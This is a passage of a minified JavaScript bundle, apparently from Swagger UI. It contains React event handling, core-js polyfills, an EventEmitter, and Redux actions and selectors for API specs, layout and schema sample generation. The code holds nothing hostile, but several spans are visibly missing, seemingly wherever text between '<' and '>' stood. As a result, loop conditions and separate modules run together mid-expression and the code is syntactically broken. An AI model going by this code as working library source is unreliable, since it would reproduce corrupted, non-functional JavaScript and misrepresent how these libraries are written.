h(e,!1)},v=function(e){return"."+e._rootNodeID},g={injection:{injectEventPluginOrder:a.injectEventPluginOrder,injectEventPluginsByName:a.injectEventPluginsByName},putListener:function(e,t,n){"function"!=typeof n&&o("94",t,typeof n);var r=v(e);(p[t]||(p[t]={}))[r]=n;var i=a.registrationNameModules[t];i&&i.didPutListener&&i.didPutListener(e,t,n)},getListener:function(e,t){var n=p[t];if(i(t,e._currentElement.type,e._currentElement.props))return null;var r=v(e);return n&&n[r]},deleteListener:function(e,t){var n=a.registrationNameModules[t];n&&n.willDeleteListener&&n.willDeleteListener(e,t);var r=p[t];if(r){delete r[v(e)]}},deleteAllListeners:function(e){var t=v(e);for(var n in p)if(p.hasOwnProperty(n)&&p[n][t]){var r=a.registrationNameModules[n];r&&r.willDeleteListener&&r.willDeleteListener(e,n),delete p[n][t]}},extractEvents:function(e,t,n,r){for(var i,o=a.plugins,s=0;s0&&void 0!==arguments[0]?arguments[0]:{};return{type:g,payload:e}}function l(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:function(){return!0};return{type:y,payload:e}}Object.defineProperty(t,"__esModule",{value:!0}),t.CLEAR_BY=t.CLEAR=t.NEW_AUTH_ERR=t.NEW_SPEC_ERR_BATCH=t.NEW_SPEC_ERR=t.NEW_THROWN_ERR_BATCH=t.NEW_THROWN_ERR=void 0,t.newThrownErr=r,t.newThrownErrBatch=i,t.newSpecErr=o,t.newSpecErrBatch=a,t.newAuthErr=s,t.clear=u,t.clearBy=l;var c=n(270),p=function(e){return e&&e.__esModule?e:{default:e}}(c),f=t.NEW_THROWN_ERR="err_new_thrown_err",h=t.NEW_THROWN_ERR_BATCH="err_new_thrown_err_batch",d=t.NEW_SPEC_ERR="err_new_spec_err",m=t.NEW_SPEC_ERR_BATCH="err_new_spec_err_batch",v=t.NEW_AUTH_ERR="err_new_auth_err",g=t.CLEAR="err_clear",y=t.CLEAR_BY="err_clear_by"},function(e,t,n){e.exports={default:n(612),__esModule:!0}},function(e,t,n){var r=n(54),i=n(348),o=n(346),a=n(38),s=n(132),u=n(198),l={},c={},t=e.exports=function(e,t,n,p,f){var h,d,m,v,g=f?function(){return e}:u(e),y=r(n,p,t?2:1),_=0;if("function"!=typeof g)throw TypeError(e+" is not iterable!");if(o(g)){for(h=s(e.length);h>_;_++)if((v=t?y(a(d=e[_])[0],d[1]):y(e[_]))===l||v===c)return v}else for(m=g.call(e);!(d=m.next()).done;)if((v=i(m,y,d.value,t))===l||v===c)return v};t.BREAK=l,t.RETURN=c},function(e,t){e.exports=!0},function(e,t,n){var r=n(133)("meta"),i=n(29),o=n(56),a=n(45).f,s=0,u=Object.isExtensible||function(){return!0},l=!n(55)(function(){return u(Object.preventExtensions({}))}),c=function(e){a(e,r,{value:{i:"O"+ ++s,w:{}}})},p=function(e,t){if(!i(e))return"symbol"==typeof e?e:("string"==typeof e?"S":"P")+e;if(!o(e,r)){if(!u(e))return"F";if(!t)return"E";c(e)}return e[r].i},f=function(e,t){if(!o(e,r)){if(!u(e))return!0;if(!t)return!1;c(e)}return e[r].w},h=function(e){return l&&d.NEED&&u(e)&&!o(e,r)&&c(e),e},d=e.exports={KEY:r,NEED:!1,fastKey:p,getWeak:f,onFreeze:h}},function(e,t){t.f={}.propertyIsEnumerable},function(e,t,n){var r=n(194),i=Math.min;e.exports=function(e){return e>0?i(r(e),9007199254740991):0}},function(e,t){var n=0,r=Math.random();e.exports=function(e){return"Symbol(".concat(void 0===e?"":e,")_",(++n+r).toString(36))}},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t,n){var r=n(134);e.exports=function(e,t,n){if(r(e),void 0===t)return e;switch(n){case 1:return function(n){return e.call(t,n)};case 2:return function(n,r){return e.call(t,n,r)};case 3:return function(n,r,i){return e.call(t,n,r,i)}}return function(){return e.apply(t,arguments)}}},function(e,t,n){"use strict";var r=n(64),i=n(78),o=n(107),a=n(58),s=n(19);e.exports=function(e,t,n){var u=s(e),l=n(a,u,""[e]),c=l[0],p=l[1];o(function(){var t={};return t[u]=function(){return 7},7!=""[e](t)})&&(i(String.prototype,e,c),r(RegExp.prototype,u,2==t?function(e,t){return p.call(e,this,t)}:function(e){return p.call(e,this)}))}},function(e,t){var n={}.hasOwnProperty;e.exports=function(e,t){return n.call(e,t)}},function(e,t,n){var r=n(62),i=n(659),o=n(678),a=Object.defineProperty;t.f=n(106)?Object.defineProperty:function(e,t,n){if(r(e),t=o(t,!0),r(n),i)try{return a(e,t,n)}catch(e){}if("get"in n||"set"in n)throw TypeError("Accessors not supported!");return"value"in n&&(e[t]=n.value),e}},function(e,t){var n=Math.ceil,r=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(e>0?r:n)(e)}},function(e,t,n){var r=n(661),i=n(58);e.exports=function(e){return r(i(e))}},function(e,t,n){"use strict";var r,i=n(384),o=n(387),a=n(748),s=n(753);r=e.exports=function(e,t){var n,r,a,u,l;return arguments.length<2||"string"!=typeof e?(u=t,t=e,e=null):u=arguments[2],null==e?(n=a=!0,r=!1):(n=s.call(e,"c"),r=s.call(e,"e"),a=s.call(e,"w")),l={value:t,configurable:n,enumerable:r,writable:a},u?i(o(u),l):l},r.gs=function(e,t,n){var r,u,l,c;return"string"!=typeof e?(l=n,n=t,t=e,e=null):l=arguments[3],null==t?t=void 0:a(t)?null==n?n=void 0:a(n)||(l=n,n=void 0):(l=t,t=n=void 0),null==e?(r=!0,u=!1):(r=s.call(e,"c"),u=s.call(e,"e")),c={get:t,set:n,configurable:r,enumerable:u},l?i(o(l),c):c}},function(e,t,n){"use strict";e.exports=n(745)("forEach")},function(e,t){function n(){this._events=this._events||{},this._maxListeners=this._maxListeners||void 0}function r(e){return"function"==typeof e}function i(e){return"number"==typeof e}function o(e){return"object"==typeof e&&null!==e}function a(e){return void 0===e}e.exports=n,n.EventEmitter=n,n.prototype._events=void 0,n.prototype._maxListeners=void 0,n.defaultMaxListeners=10,n.prototype.setMaxListeners=function(e){if(!i(e)||e<0||isNaN(e))throw TypeError("n must be a positive number");return this._maxListeners=e,this},n.prototype.emit=function(e){var t,n,i,s,u,l;if(this._events||(this._events={}),"error"===e&&(!this._events.error||o(this._events.error)&&!this._events.error.length)){if((t=arguments[1])instanceof Error)throw t;var c=new Error('Uncaught, unspecified "error" event. ('+t+")");throw c.context=t,c}if(n=this._events[e],a(n))return!1;if(r(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:s=Array.prototype.slice.call(arguments,1),n.apply(this,s)}else if(o(n))for(s=Array.prototype.slice.call(arguments,1),l=n.slice(),i=l.length,u=0;u0&&this._events[e].length>i&&(this._events[e].warned=!0,console.error("(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.",this._events[e].length),"function"==typeof console.trace&&console.trace()),this},n.prototype.on=n.prototype.addListener,n.prototype.once=function(e,t){function n(){this.removeListener(e,n),i||(i=!0,t.apply(this,arguments))}if(!r(t))throw TypeError("listener must be a function");var i=!1;return n.listener=t,this.on(e,n),this},n.prototype.removeListener=function(e,t){var n,i,a,s;if(!r(t))throw TypeError("listener must be a function");if(!this._events||!this._events[e])return this;if(n=this._events[e],a=n.length,i=-1,n===t||r(n.listener)&&n.listener===t)delete this._events[e],this._events.removeListener&&this.emit("removeListener",e,t);else if(o(n)){for(s=a;s-- >0;)if(n[s]===t||n[s].listener&&n[s].listener===t){i=s;break}if(i<0)return this;1===n.length?(n.length=0,delete this._events[e]):n.splice(i,1),this._events.removeListener&&this.emit("removeListener",e,t)}return this},n.prototype.removeAllListeners=function(e){var t,n;if(!this._events)return this;if(!this._events.removeListener)return 0===arguments.length?this._events={}:this._events[e]&&delete this._events[e],this;if(0===arguments.length){for(t in this._events)"removeListener"!==t&&this.removeAllListeners(t);return this.removeAllListeners("removeListener"),this._events={},this}if(n=this._events[e],r(n))this.removeListener(e,n);else if(n)for(;n.length;)this.removeListener(e,n[n.length-1]);return delete this._events[e],this},n.prototype.listeners=function(e){return this._events&&this._events[e]?r(this._events[e])?[this._events[e]]:this._events[e].slice():[]},n.prototype.listenerCount=function(e){if(this._events){var t=this._events[e];if(r(t))return 1;if(t)return t.length}return 0},n.listenerCount=function(e,t){return e.listenerCount(t)}},function(e,t,n){"use strict";var r={};e.exports=r},function(e,t,n){"use strict";var r=n(81);e.exports=r.DEFAULT=new r({include:[n(117)],explicit:[n(825),n(824),n(823)]})},function(e,t,n){function r(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t-1&&e%1==0&&e]/;e.exports=i},function(e,t,n){"use strict";var r,i=n(26),o=n(247),a=/^[ \r\n\t\f]/,s=/<(!--|link|noscript|meta|script|style)[ \r\n\t\f\/>]/,u=n(255),l=u(function(e,t){if(e.namespaceURI!==o.svg||"innerHTML"in e)e.innerHTML=t;else{r=r||document.createElement("div"),r.innerHTML=""+t+"";for(var n=r.firstChild;n.firstChild;)e.appendChild(n.firstChild)}});if(i.canUseDOM){var c=document.createElement("div");c.innerHTML=" ",""===c.innerHTML&&(l=function(e,t){if(e.parentNode&&e.parentNode.replaceChild(e,e),a.test(t)||"<"===t[0]&&s.test(t)){e.innerHTML=String.fromCharCode(65279)+t;var n=e.firstChild;1===n.data.length?e.removeChild(n):n.deleteData(0,1)}else e.innerHTML=t}),c=null}e.exports=l},function(e,t,n){"use strict";function r(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]="number"==typeof e[n]?e[n]:e[n].val);return t}t.__esModule=!0,t.default=r,e.exports=t.default},function(e,t,n){"use strict";e.exports=function(e,t){var n,r,i,o=-1,a=e.posMax,s=e.pos,u=e.isInLabel;if(e.isInLabel)return-1;if(e.labelUnmatchedScopes)return e.labelUnmatchedScopes--,-1;for(e.pos=t+1,e.isInLabel=!0,n=1;e.pos1&&void 0!==arguments[1])||arguments[1];return e=(0,s.normalizeArray)(e),{type:p,payload:{thing:e,shown:t}}}function a(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return e=(0,s.normalizeArray)(e),{type:c,payload:{thing:e,mode:t}}}Object.defineProperty(t,"__esModule",{value:!0}),t.SHOW=t.UPDATE_MODE=t.UPDATE_FILTER=t.UPDATE_LAYOUT=void 0,t.updateLayout=r,t.updateFilter=i,t.show=o,t.changeMode=a;var s=n(9),u=t.UPDATE_LAYOUT="layout_update_layout",l=t.UPDATE_FILTER="layout_update_filter",c=t.UPDATE_MODE="layout_update_mode",p=t.SHOW="layout_show"},function(e,t,n){"use strict";function r(e,t){return{type:u,payload:{selectedServerUrl:e,namespace:t}}}function i(e){var t=e.value,n=e.pathMethod;return{type:l,payload:{value:t,pathMethod:n}}}function o(e){var t=e.value,n=e.pathMethod;return{type:c,payload:{value:t,pathMethod:n}}}function a(e){var t=e.value,n=e.path,r=e.method;return{type:p,payload:{value:t,path:n,method:r}}}function s(e){var t=e.server,n=e.namespace,r=e.key,i=e.val;return{type:f,payload:{server:t,namespace:n,key:r,val:i}}}Object.defineProperty(t,"__esModule",{value:!0}),t.setSelectedServer=r,t.setRequestBodyValue=i,t.setRequestContentType=o,t.setResponseContentType=a,t.setServerVariableValue=s;var u=t.UPDATE_SELECTED_SERVER="oas3_set_servers",l=t.UPDATE_REQUEST_BODY_VALUE="oas3_set_request_body_value",c=t.UPDATE_REQUEST_CONTENT_TYPE="oas3_set_request_content_type",p=t.UPDATE_RESPONSE_CONTENT_TYPE="oas3_set_response_content_type",f=t.UPDATE_SERVER_VARIABLE_VALUE="oas3_set_server_variable_value"},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e,t){var n=h(e,t);if(n)return(0,s.default)(n,{declaration:!0,indent:"\t"})}Object.defineProperty(t,"__esModule",{value:!0}),t.memoizedSampleFromSchema=t.memoizedCreateXMLExample=t.sampleXmlFromSchema=t.inferSchema=t.sampleFromSchema=void 0,t.createXMLExample=i;var o=n(9),a=n(1217),s=r(a),u=n(987),l=r(u),c={string:function(){return"string"},string_email:function(){return"user@example.com"},"string_date-time":function(){return(new Date).toISOString()},number:function(){return 0},number_float:function(){return 0},integer:function(){return 0},boolean:function(e){return"boolean"!=typeof e.default||e.default}},p=function(e){e=(0,o.objectify)(e);var t=e,n=t.type,r=t.format,i=c[n+"_"+r]||c[n];return(0,o.isFunc)(i)?i(e):"Unknown Type: "+e.type},f=t.sampleFromSchema=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=(0,o.objectify)(t),i=r.type,a=r.example,s=r.properties,u=r.additionalProperties,l=r.items,c=n.includeReadOnly,f=n.includeWriteOnly;if(void 0!==a)return(0,o.deeplyStripKey)(a,"$$ref",function(e){return"string"==typeof e&&e.indexOf("#")>-1});if(!i)if(s)i="object";else{if(!l)return;i="array"}if("object"===i){var h=(0,o.objectify)(s),d={};for(var m in h)h[m].readOnly&&!c||h[m].writeOnly&&!f||(d[m]=e(h[m],n));if(!0===u)d.additionalProp1={};else if(u)for(var v=(0,o.objectify)(u),g=e(v,n),y=1;y<4;y++)d["additionalProp"+y]=g;return d}return"array"===i?Array.isArray(l.anyOf)?l.anyOf.map(function(t){return e(t,n)}):Array.isArray(l.oneOf)?l.oneOf.map(function(t){return e(t,n)}):[e(l,n)]:t.enum?t.default?t.default:(0,o.normalizeArray)(t.enum)[0]:"file"!==i?p(t):void 0},h=(t.inferSchema=function(e){return e.schema&&(e=e.schema),e.properties&&(e.type="object"),e},t.sampleXmlFromSchema=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=(0,o.objectify)(t),i=r.type,a=r.properties,s=r.additionalProperties,u=r.items,l=r.example,c=n.includeReadOnly,f=n.includeWriteOnly,h=r.default,d={},m={},v=t.xml,g=v.name,y=v.prefix,_=v.namespace,b=r.enum,x=void 0,w=void 0;if(!i)if(a||s)i="object";else{if(!u)return;i="array"}if(g=g||"notagname",x=(y?y+":":"")+g,_){m[y?"xmlns:"+y:"xmlns"]=_}if("array"===i&&u){if(u.xml=u.xml||v||{},u.xml.name=u.xml.name||v.name,v.wrapped)return d[x]=[],Array.isArray(l)?l.forEach(function(t){u.example=t,d[x].push(e(u,n))}):Array.isArray(h)?h.forEach(function(t){u.default=t,d[x].push(e(u,n))}):d[x]=[e(u,n)],m&&d[x].push({_attr:m}),d;var k=[];return Array.isArray(l)?(l.forEach(function(t){u.example=t,k.push(e(u,n))}),k):Array.isArray(h)?(h.forEach(function(t){u.default=t,k.push(e(u,n))}),k):e(u,n)}if("object"===i){var E=(0,o.objectify)(a);d[x]=[],l=l||{};for(var S in E)if(E.hasOwnProperty(S)&&(!E[S].readOnly||c)&&(!E[S].writeOnly||f))if(E[S].xml=E[S].xml||{},E[S].xml.attribute){var C=Array.isArray(E[S].enum)&&E[S].enum[0],A=E[S].example,D=E[S].default;m[E[S].xml.name||S]=void 0!==A&&A||void 0!==l[S]&&l[S]||void 0!==D&&D||C||p(E[S])}else{E[S].xml.name=E[S].xml.name||S,void 0===E[S].example&&void 0!==l[S]&&(E[S].example=l[S]);var O=e(E[S]);Array.isArray(O)?d[x]=d[x].concat(O):d[x].push(O)}return!0===s?d[x].push({additionalProp:"Anything can be here"}):s&&d[x].push({additionalProp:p(s)}),m&&d[x].push({_attr:m}),d}return w=void 0!==l?l:void 0!==h?h:Array.isArray(b)?b[0]:p(t),d[x]=m?[{_attr:m},w]:w,d});t.memoizedCreateXMLExample=(0,l.default)(i),t.memoizedSampleFromSchema=(0,l.default)(f)},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=se(e).replace(/\t/g," ");if("string"==typeof e)return{type:H,payload:t}}function o(e){return{type:ie,payload:e}}function a(e){return{type:J,payload:e}}function s(e){return{type:G,payload:e}}function u(e,t,n,r,i){return{type:Y,payload:{path:e,value:r,paramName:t,paramIn:n,isXml:i}}}function l(e){return{type:ne,payload:{pathMethod:e}}}function c(e,t){return{type:re,payload:{path:e,value:t,key:"consumes_value"}}}function p(e,t){return{type:re,payload:{path:e,value:t,key:"produces_value"}}}function f(e,t){return{type:ee,payload:{path:e,method:t}}}function h(e,t){return{type:te,payload:{path:e,method:t}}}function d(e,t,n){return{type:ae,payload:{scheme:e,path:t,method:n}}}Object.defineProperty(t,"__esModule",{value:!0}),t.execute=t.executeRequest=t.logRequest=t.setMutatedRequest=t.setRequest=t.setResponse=t.validateParams=t.invalidateResolvedSubtreeCache=t.updateResolvedSubtree=t.requestResolvedSubtree=t.resolveSpec=t.parseToJson=t.SET_SCHEME=t.UPDATE_RESOLVED_SUBTREE=t.UPDATE_RESOLVED=t.UPDATE_OPERATION_META_VALUE=t.CLEAR_VALIDATE_PARAMS=t.CLEAR_REQUEST=t.CLEAR_RESPONSE=t.LOG_REQUEST=t.SET_MUTATED_REQUEST=t.SET_REQUEST=t.SET_RESPONSE=t.VALIDATE_PARAMS=t.UPDATE_PARAM=t.UPDATE_JSON=t.UPDATE_URL=t.UPDATE_SPEC=void 0;var m=n(20),v=r(m),g=n(97),y=r(g),_=n(23),b=r(_),x=n(42),w=r(x),k=n(127),E=r(k),S=n(342),C=r(S),A=n(341),D=r(A),O=n(43),M=r(O);t.updateSpec=i,t.updateResolved=o,t.updateUrl=a,t.updateJsonSpec=s,t.changeParam=u,t.clearValidateParams=l,t.changeConsumesValue=c,t.changeProducesValue=p,t.clearResponse=f,t.clearRequest=h,t.setScheme=d;var T=n(217),P=r(T),I=n(7),R=n(514),j=r(R),N=n(270),F=r(N),B=n(436),L=r(B),q=n(961),z=r(q),U=n(974),W=r(U),V=n(9),H=t.UPDATE_SPEC="spec_update_spec",J=t.UPDATE_URL="spec_update_url",G=t.UPDATE_JSON="spec_update_json",Y=t.UPDATE_PARAM="spec_update_param",K=t.VALIDATE_PARAMS="spec_validate_param",X=t.SET_RESPONSE="spec_set_response",$=t.SET_REQUEST="spec_set_request",Z=t.SET_MUTATED_REQUEST="spec_set_mutated_request",Q=t.LOG_REQUEST="spec_log_request",ee=t.CLEAR_RESPONSE="spec_clear_response",te=t.CLEAR_REQUEST="spec_clear_request",ne=t.CLEAR_VALIDATE_PARAMS="spec_clear_validate_param",re=t.UPDATE_OPERATION_META_VALUE="spec_update_operation_meta_value",ie=t.UPDATE_RESOLVED="spec_update_resolved",oe=t.UPDATE_RESOLVED_SUBTREE="spec_update_resolved_subtree",ae=t.SET_SCHEME="set_scheme",se=function(e){return(0,L.default)(e)?e:""},ue=(t.parseToJson=function(e){return function(t){var n=t.specActions,r=t.specSelectors,i=t.errActions,o=r.specStr,a=null;try{e=e||o(),i.clear({source:"parser"}),a=P.default.safeLoad(e)}catch(e){return console.error(e),i.newSpecErr({source:"parser",level:"error",message:e.reason,line:e.mark&&e.mark.line?e.mark.line+1:void 0})}return a&&"object"===(void 0===a?"undefined":(0,M.default)(a))?n.updateJsonSpec(a):{}}},!1),le=(t.resolveSpec=function(e,t){return function(n){var r=n.specActions,i=n.specSelectors,o=n.errActions,a=n.fn,s=a.fetch,u=a.resolve,l=a.AST,c=n.getConfigs;ue||(console.warn("specActions.resolveSpec is deprecated since v3.10.0 and will be removed in v4.0.0; use requestResolvedSubtree instead!"),ue=!0);var p=c(),f=p.modelPropertyMacro,h=p.parameterMacro,d=p.requestInterceptor,m=p.responseInterceptor;void 0===e&&(e=i.specJson()),void 0===t&&(t=i.url());var v=l.getLineNumberForPath,g=i.specStr();return u({fetch:s,spec:e,baseDoc:t,modelPropertyMacro:f,parameterMacro:h,requestInterceptor:d,responseInterceptor:m}).then(function(e){var t=e.spec,n=e.errors;if(o.clear({type:"thrown"}),Array.isArray(n)&&n.length>0){var i=n.map(function(e){return console.error(e),e.line=e.fullPath?v(g,e.fullPath):null,e.path=e.fullPath?e.fullPath.join("."):null,e.level="error",e.type="thrown",e.source="resolver",Object.defineProperty(e,"message",{enumerable:!0,value:e.message}),e});o.newThrownErrBatch(i)}return r.updateResolved(t)})}},[]),ce=(0,z.default)((0,D.default)(C.default.mark(function e(){var t,n,r,i,o,a,s,u,l,c,p,f,h,d,m;return C.default.wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(t=le.system){e.next=4;break}return console.error("debResolveSubtrees: don't have a system to operate on, aborting."),e.abrupt("return");case 4:if(n=t.errActions,r=t.errSelectors,i=t.fn,o=i.resolveSubtree,a=i.AST.getLineNumberForPath,s=t.specSelectors,u=t.specActions,o){e.next=8;break}return console.error("Error: Swagger-Client did not provide a `resolveSubtree` method, doing nothing."),e.abrupt("return");case 8:return l=s.specStr(),c=t.getConfigs(),p=c.modelPropertyMacro,f=c.parameterMacro,h=c.requestInterceptor,d=c.responseInterceptor,e.prev=10,e.next=13,le.reduce(function(){var e=(0,D.default)(C.default.mark(function e(t,i){var u,c,m,v,g,y,_;return C.default.wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t;case 2:return u=e.sent,c=u.resultMap,m=u.specWithCurrentSubtrees,e.next=7,o(m,i,{baseDoc:s.url(),modelPropertyMacro:p,parameterMacro:f,requestInterceptor:h,responseInterceptor:d});case 7:return v=e.sent,g=v.errors,y=v.spec,r.allErrors().size&&n.clear({type:"thrown"}),Array.isArray(g)&&g.length>0&&(_=g.map(function(e){return e.line=e.fullPath?a(l,e.fullPath):null,e.path=e.fullPath?e.fullPath.join("."):null,e.level="error",e.type="thrown",e.source="resolver",Object.defineProperty(e,"message",{enumerable:!0,value:e.message}),e}),n.newThrownErrBatch(_)),(0,W.default)(c,i,y),(0,W.default)(m,i,y),e.abrupt("return",{resultMap:c,specWithCurrentSubtrees:m});case 15:case"end":return e.stop()}},e,void 0)}));return function(t,n){return e.apply(this,arguments)}}(),E.default.resolve({resultMap:(s.specResolvedSubtree([])||(0,I.Map)()).toJS(),specWithCurrentSubtrees:s.specJson().toJS()}));case 13:m=e.sent,delete le.system,le=[],e.next=21;break;case 18:e.prev=18,e.t0=e.catch(10),console.error(e.t0);case 21:u.updateResolvedSubtree([],m.resultMap);case 22:case"end":return e.stop()}},e,void 0,[[10,18]])})),35),pe=(t.requestResolvedSubtree=function(e){return function(t){le.push(e),le.system=t,ce()}},t.updateResolvedSubtree=function(e,t){return{type:oe,payload:{path:e,value:t}}},t.invalidateResolvedSubtreeCache=function(){return{type:oe,payload:{path:[],value:(0,I.Map)()}}},t.validateParams=function(e,t){return{type:K,payload:{pathMethod:e,isOAS3:t}}},t.setResponse=function(e,t,n){return{payload:{path:e,method:t,res:n},type:X}},t.setRequest=function(e,t,n){return{payload:{path:e,method:t,req:n},type:$}},t.setMutatedRequest=function(e,t,n){return{payload:{path:e,method:t,req:n},type:Z}},t.logRequest=function(e){return{payload:e,type:Q}},t.executeRequest=function(e){return function(t){var n=t.fn,r=t.specActions,i=t.specSelectors,o=t.getConfigs,a=t.oas3Selectors,s=e.pathName,u=e.method,l=e.operation,c=o(),p=c.requestInterceptor,f=c.responseInterceptor,h=l.toJS();if(e.contextUrl=(0,j.default)(i.url()).toString(),h&&h.operationId?e.operationId=h.operationId:h&&s&&u&&(e.operationId=n.opId(h,s,u)),i.isOAS3()){var d=s+":"+u;e.server=a.selectedServer(d)||a.selectedServer();var m=a.serverVariables({server:e.server,namespace:d}).toJS(),v=a.serverVariables({server:e.server}).toJS();e.serverVariables=(0,w.default)(m).length?m:v,e.requestContentType=a.requestContentType(s,u),e.responseContentType=a.responseContentType(s,u)||"*/*";var g=a.requestBodyValue(s,u);(0,V.isJSONObject)(g)?e.requestBody=JSON.parse(g):e.requestBody=g}var y=(0,b.default)({},e);y=n.buildRequest(y),r.setRequest(e.pathName,e.method,y);var _=function(t){var n=p.apply(this,[t]),i=(0,b.default)({},n);return r.setMutatedRequest(e.pathName,e.method,i),n};e.requestInterceptor=_,e.responseInterceptor=f;var x=Date.now();return n.execute(e).then(function(t){t.duration=Date.now()-x,r.setResponse(e.pathName,e.method,t)}).catch(function(t){return r.setResponse(e.pathName,e.method,{error:!0,err:(0,F.default)(t)})})}},function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.path,n=e.method,r=(0,y.default)(e,["path","method"]);return function(e){var i=e.fn.fetch,o=e.specSelectors,a=e.specActions,s=o.specJsonWithResolvedSubtrees().toJS(),u=o.operationScheme(t,n),l=o.contentTypeValues([t,n]).toJS(),c=l.requestContentType,p=l.responseContentType,f=/xml/i.test(c),h=o.parameterValues([t,n],f).toJS();return a.executeRequest((0,v.default)({},r,{fetch:i,spec:s,pathName:t,method:n,parameters:h,requestContentType:c,scheme:u,responseContentType:p}))}});t.execute=pe},function(e,t,n){"use strict";function r(e,t,n,r){return t=t||[],e.getIn(["meta","paths"].concat((0,f.default)(t),["parameters"]),(0,m.fromJS)([])).find(function(e){return m.Map.isMap(e)&&e.get("name")===n&&e.get("in")===r})||(0,m.Map)()}function i(e,t,n){return t=t||[],j.apply(void 0,[e].concat((0,f.default)(t))).get("parameters",(0,m.List)()).reduce(function(e,t){var r=n&&"body"===t.get("in")?t.get("value_xml"):t.get("value");return e.set(t.get("in")+"."+t.get("name"),r)},(0,m.fromJS)({}))}function o(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(m.List.isList(e))return e.some(function(e){return m.Map.isMap(e)&&e.get("in")===t})}function a(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(m.List.isList(e))return e.some(function(e){return m.Map.isMap(e)&&e.get("type")===t})}function s(e,t){t=t||[];var n=b(e).getIn(["paths"].concat((0,f.default)(t)),(0,m.fromJS)({})),r=e.getIn(["meta","paths"].concat((0,f.default)(t)),(0,m.fromJS)({})),i=l(e,t),o=n.get("parameters")||new m.List,s=r.get("consumes_value")?r.get("consumes_value"):a(o,"file")?"multipart/form-data":a(o,"formData")?"application/x-www-form-urlencoded":void 0;return(0,m.fromJS)({requestContentType:s,responseContentType:i})}function u(e,t){return t=t||[],b(e).getIn(["paths"].concat((0,f.default)(t),["consumes"]),(0,m.fromJS)({}))}function l(e,t){t=t||[];var n=b(e).getIn(["paths"].concat((0,f.default)(t)),null);if(null!==n){var r=e.getIn(["meta","paths"].concat((0,f.default)(t),["produces_value"]),null),i=n.getIn(["produces",0],null);return r||i||"application/json"}}function c(e){return m.Map.isMap(e)?e:new m.Map}Object.defineProperty(t,"__esModule",{value:!0}),t.validateBeforeExecute=t.canExecuteScheme=t.operationScheme=t.hasHost=t.parameterWithMeta=t.operationWithMeta=t.allowTryItOutFor=t.mutatedRequestFor=t.requestFor=t.responseFor=t.mutatedRequests=t.requests=t.responses=t.taggedOperations=t.operationsWithTags=t.tagDetails=t.tags=t.operationsWithRootInherited=t.schemes=t.host=t.basePath=t.definitions=t.findDefinition=t.securityDefinitions=t.security=t.produces=t.consumes=t.operations=t.paths=t.semver=t.version=t.externalDocs=t.info=t.isOAS3=t.spec=t.specJsonWithResolvedSubtrees=t.specResolvedSubtree=t.specResolved=t.specJson=t.specSource=t.specStr=t.url=t.lastError=void 0;var p=n(72),f=function(e){return e&&e.__esModule?e:{default:e}}(p);t.getParameter=r,t.parameterValues=i,t.parametersIncludeIn=o,t.parametersIncludeType=a,t.contentTypeValues=s,t.operationConsumes=u,t.currentProducesFor=l;var h=n(60),d=n(9),m=n(7),v=["get","put","post","delete","options","head","patch","trace"],g=function(e){return e||(0,m.Map)()},y=(t.lastError=(0,h.createSelector)(g,function(e){return e.get("lastError")}),t.url=(0,h.createSelector)(g,function(e){return e.get("url")}),t.specStr=(0,h.createSelector)(g,function(e){return e.get("spec")||""}),t.specSource=(0,h.createSelector)(g,function(e){return e.get("specSource")||"not-editor"}),t.specJson=(0,h.createSelector)(g,function(e){return e.get("json",(0,m.Map)())})),_=(t.specResolved=(0,h.createSelector)(g,function(e){return e.get("resolved",(0,m.Map)())}),t.specResolvedSubtree=function(e,t){return e.getIn(["resolvedSubtrees"].concat((0,f.default)(t)),void 0)},function e(t,n){return m.Map.isMap(t)&&m.Map.isMap(n)?n.get("$$ref")?n:(0,m.OrderedMap)().mergeWith(e,t,n):n}),b=t.specJsonWithResolvedSubtrees=(0,h.createSelector)(g,function(e){return(0,m.OrderedMap)().mergeWith(_,e.get("json"),e.get("resolvedSubtrees"))}),x=t.spec=function(e){return y(e)},w=(t.isOAS3=(0,h.createSelector)(x,function(){return!1}),t.info=(0,h.createSelector)(x,function(e){return c(e&&e.get("info"))})),k=(t.externalDocs=(0,h.createSelector)(x,function(e){return c(e&&e.get("externalDocs"))}),t.version=(0,h.createSelector)(w,function(e){return e&&e.get("version")})),E=(t.semver=(0,h.createSelector)(k,function(e){return/v?([0-9]*)\.([0-9]*)\.([0-9]*)/i.exec(e).slice(1)}),t.paths=(0,h.createSelector)(b,function(e){return e.get("paths")})),S=t.operations=(0,h.createSelector)(E,function(e){if(!e||e.size<1)return(0,m.List)();var t=(0,m.List)();return e&&e.forEach?(e.forEach(function(e,n){if(!e||!e.forEach)return{};e.forEach(function(e,r){v.indexOf(r)<0||(t=t.push((0,m.fromJS)({path:n,method:r,operation:e,id:r+"-"+n})))})}),t):(0,m.List)()}),C=t.consumes=(0,h.createSelector)(x,function(e){return(0,m.Set)(e.get("consumes"))}),A=t.produces=(0,h.createSelector)(x,function(e){return(0,m.Set)(e.get("produces"))}),D=(t.security=(0,h.createSelector)(x,function(e){return e.get("security",(0,m.List)())}),t.securityDefinitions=(0,h.createSelector)(x,function(e){return e.get("securityDefinitions")}),t.findDefinition=function(e,t){var n=e.getIn(["resolvedSubtrees","definitions",t],null),r=e.getIn(["json","definitions",t],null);return n||r||null},t.definitions=(0,h.createSelector)(x,function(e){return e.get("definitions")||(0,m.Map)()}),t.basePath=(0,h.createSelector)(x,function(e){return 